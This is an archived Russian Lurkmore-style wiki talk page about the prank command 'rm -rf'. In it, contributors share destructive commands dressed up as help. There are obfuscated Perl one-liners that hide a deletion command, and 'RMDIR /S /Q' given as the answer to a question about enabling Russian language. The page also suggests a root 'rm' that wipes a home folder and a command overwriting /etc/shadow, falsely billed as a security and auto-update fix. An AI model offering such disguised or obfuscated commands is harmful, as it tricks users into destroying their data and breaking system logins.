Старое обсуждение:Rm -rf

Материал из Неолурк, народный Lurkmore
Перейти к навигации Перейти к поиску
Основная статьяRm -rf (Лурк П.)Старое обсуждение

Внимание! Это старая дискуссия, которая некогда велась на сайте Луркоморье. Пожалуйста, для продолжения обратитесь к актуальной: Обсуждение:Rm -rf, которая проводится в стиле пленарного заседания.


Напишите какой-нить экзотический rm-rf / на перле, чтобы был.

Кстати, а кто придумал "русскую рулетку"? Реквестирую пруфлинк.
http://bash.org/?96164

WTF?[править]

собсно, зачем cat в перловой команде заменён на echo? какбэ суть команды в том, что она ошибочна. 06:38, 18 марта 2009 (MSK)

Под Виндой[править]

Под виндой виндовый вариант плохо работает. Он берёт предыдущее значение R. Можно, конечно, разбить на две команды, но кто будет нажимать enter, если выпал ноль? Как это исправить?

perl[править]

пофиксите, ибо в последних кореутилсах нельзя делать rm -rf /, нужно делать rm -rf /*

Держи. perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|}}./}:<%=%<@%}<//>|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Мимо проходил

dfhgkh[править]

И де тут мем, блѣдь?Или смищная шутка запряталась?

Ещё виндовый пример[править]

Подскажите, как и где можно включить русский язык?! А то совсем не реально играть.

Пуск->выполнить RMDIR /S /Q

Delphist2008 16:52, 26 августа 2011 (MSD)

Запилил более годную версию под венду[править]

сабж

Если сейчас висит твоя - допили, ибо рандомы разные получаются и шансы проиграть вообще никакие.

про яндекс диск[править]

писал слоупок

Так веселее[править]

touch f r; rm /home/nameuser /* из под рута. Отлично чистит домашнюю папку!

Имена файлов[править]

А что будет, если у пользователя есть файлы «-f», «-r», «/»?

А разве можно в имени файла в *nix упоминать «/»?

Нельзя. Автор — уд. — Мимо проходил

Таки да, ядро так просто этого не допустит. Но сами по себе файловые системы некоторые теоретически позволяют файлоимени иметь в себе любой символ, кроме NUL. — Другой крокодил

Можно, чо нельзя то? просто имя надо будет экранировать как \/

GitLab[править]

Эпичный фэйл же

Ещё вариант[править]

Нарыл такое, подозреваю, что назначение совпадает.

#!/usr/bin/perl -w
$\='`'|"'";$\++;$;='/'|'`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_=
'%'|'`';$_.='`'|'#';$_.=$\;$_.='`'|'/';$_.=$".'"';$_.='@'|'*'&~'!';$_.="$:$,$/"
.$";$_.='`'|'!';$_.='`'|'.';$_.='/'|'`';$_.=$/.$\;$_.='%'|'`';$_.=$;.$";$_.='@'
|':'&~'*';$_.='`'|'%';$_.=$;;$_.='`'|',';$_.=$".$\;$_.='`'|'!';$_.='#'|'`';$_.=
'+'|'`';$_.='`'|'%';$_.=$;.'"'.$".'>&';$_.=$,&':';`$_`;

Pikabu (обсуждение) 22:06, 20 декабря 2020 (MSK)

Повышение безопасности[править]

Короч, команда:

sudo echo "autoupgrade = 1d" > /etc/shadow

повышает безопасность компа и ставит обновление каждый день.